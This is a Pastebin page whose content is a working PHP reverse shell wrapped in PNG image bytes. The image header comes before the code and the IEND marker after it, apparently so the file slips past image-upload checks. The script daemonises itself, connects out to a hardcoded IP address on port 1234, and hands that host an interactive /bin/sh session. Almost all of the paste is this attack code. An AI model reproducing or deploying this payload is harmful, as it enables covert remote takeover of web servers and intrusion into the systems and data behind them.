Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.66 KB | None | 0 0
  1. PNG
  2.  
  3.  
  4. IHDR  üí£    pHYsÄÄ+`IDATHc\<?<?php
  5.  
  6. <?php
  7.  
  8. set_time_limit (0);
  9. $VERSION = "1.0";
  10. $ip = '34.242.79.196';  // CHANGE THIS
  11. $port = 1234;       // CHANGE THIS
  12. $chunk_size = 1400;
  13. $write_a = null;
  14. $error_a = null;
  15. $shell = 'uname -a; w; id; /bin/sh -i';
  16. $daemon = 0;
  17. $debug = 0;
  18.  
  19. //
  20. // Daemonise ourself if possible to avoid zombies later
  21. //
  22.  
  23. // pcntl_fork is hardly ever available, but will allow us to daemonise
  24. // our php process and avoid zombies.  Worth a try...
  25. if (function_exists('pcntl_fork')) {
  26.     // Fork and have the parent process exit
  27.     $pid = pcntl_fork();
  28.    
  29.     if ($pid == -1) {
  30.         printit("ERROR: Can't fork");
  31.         exit(1);
  32.     }
  33.    
  34.     if ($pid) {
  35.         exit(0);  // Parent exits
  36.     }
  37.  
  38.     // Make the current process a session leader
  39.     // Will only succeed if we forked
  40.     if (posix_setsid() == -1) {
  41.         printit("Error: Can't setsid()");
  42.         exit(1);
  43.     }
  44.  
  45.     $daemon = 1;
  46. } else {
  47.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  48. }
  49.  
  50. // Change to a safe directory
  51. chdir("/");
  52.  
  53. // Remove any umask we inherited
  54. umask(0);
  55.  
  56. //
  57. // Do the reverse shell...
  58. //
  59.  
  60. // Open reverse connection
  61. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  62. if (!$sock) {
  63.     printit("$errstr ($errno)");
  64.     exit(1);
  65. }
  66.  
  67. // Spawn shell process
  68. $descriptorspec = array(
  69.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  70.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  71.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  72. );
  73.  
  74. $process = proc_open($shell, $descriptorspec, $pipes);
  75.  
  76. if (!is_resource($process)) {
  77.     printit("ERROR: Can't spawn shell");
  78.     exit(1);
  79. }
  80.  
  81. // Set everything to non-blocking
  82. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  83. stream_set_blocking($pipes[0], 0);
  84. stream_set_blocking($pipes[1], 0);
  85. stream_set_blocking($pipes[2], 0);
  86. stream_set_blocking($sock, 0);
  87.  
  88. printit("Successfully opened reverse shell to $ip:$port");
  89.  
  90. while (1) {
  91.     // Check for end of TCP connection
  92.     if (feof($sock)) {
  93.         printit("ERROR: Shell connection terminated");
  94.         break;
  95.     }
  96.  
  97.     // Check for end of STDOUT
  98.     if (feof($pipes[1])) {
  99.         printit("ERROR: Shell process terminated");
  100.         break;
  101.     }
  102.  
  103.     // Wait until a command is end down $sock, or some
  104.     // command output is available on STDOUT or STDERR
  105.     $read_a = array($sock, $pipes[1], $pipes[2]);
  106.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  107.  
  108.     // If we can read from the TCP socket, send
  109.     // data to process's STDIN
  110.     if (in_array($sock, $read_a)) {
  111.         if ($debug) printit("SOCK READ");
  112.         $input = fread($sock, $chunk_size);
  113.         if ($debug) printit("SOCK: $input");
  114.         fwrite($pipes[0], $input);
  115.     }
  116.  
  117.     // If we can read from the process's STDOUT
  118.     // send data down tcp connection
  119.     if (in_array($pipes[1], $read_a)) {
  120.         if ($debug) printit("STDOUT READ");
  121.         $input = fread($pipes[1], $chunk_size);
  122.         if ($debug) printit("STDOUT: $input");
  123.         fwrite($sock, $input);
  124.     }
  125.  
  126.     // If we can read from the process's STDERR
  127.     // send data down tcp connection
  128.     if (in_array($pipes[2], $read_a)) {
  129.         if ($debug) printit("STDERR READ");
  130.         $input = fread($pipes[2], $chunk_size);
  131.         if ($debug) printit("STDERR: $input");
  132.         fwrite($sock, $input);
  133.     }
  134. }
  135.  
  136. fclose($sock);
  137. fclose($pipes[0]);
  138. fclose($pipes[1]);
  139. fclose($pipes[2]);
  140. proc_close($process);
  141.  
  142. // Like print, but does nothing if we've daemonised ourself
  143. // (I can't figure out how to redirect STDOUT like a proper daemon)
  144. function printit ($string) {
  145.     if (!$daemon) {
  146.         print "$string\n";
  147.     }
  148. }
  149.  
  150. ?>
  151.  
  152.  
  153.  
  154.  
  155. ?>XÁs^7üÛ~_Ó}ª'÷ñãÉ¿_ï|²00cÙ¹gýÙ=Î2Q0
  156. FÁ(£`Q0
  157.  
  158. ²x
  159. IEND®B`
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement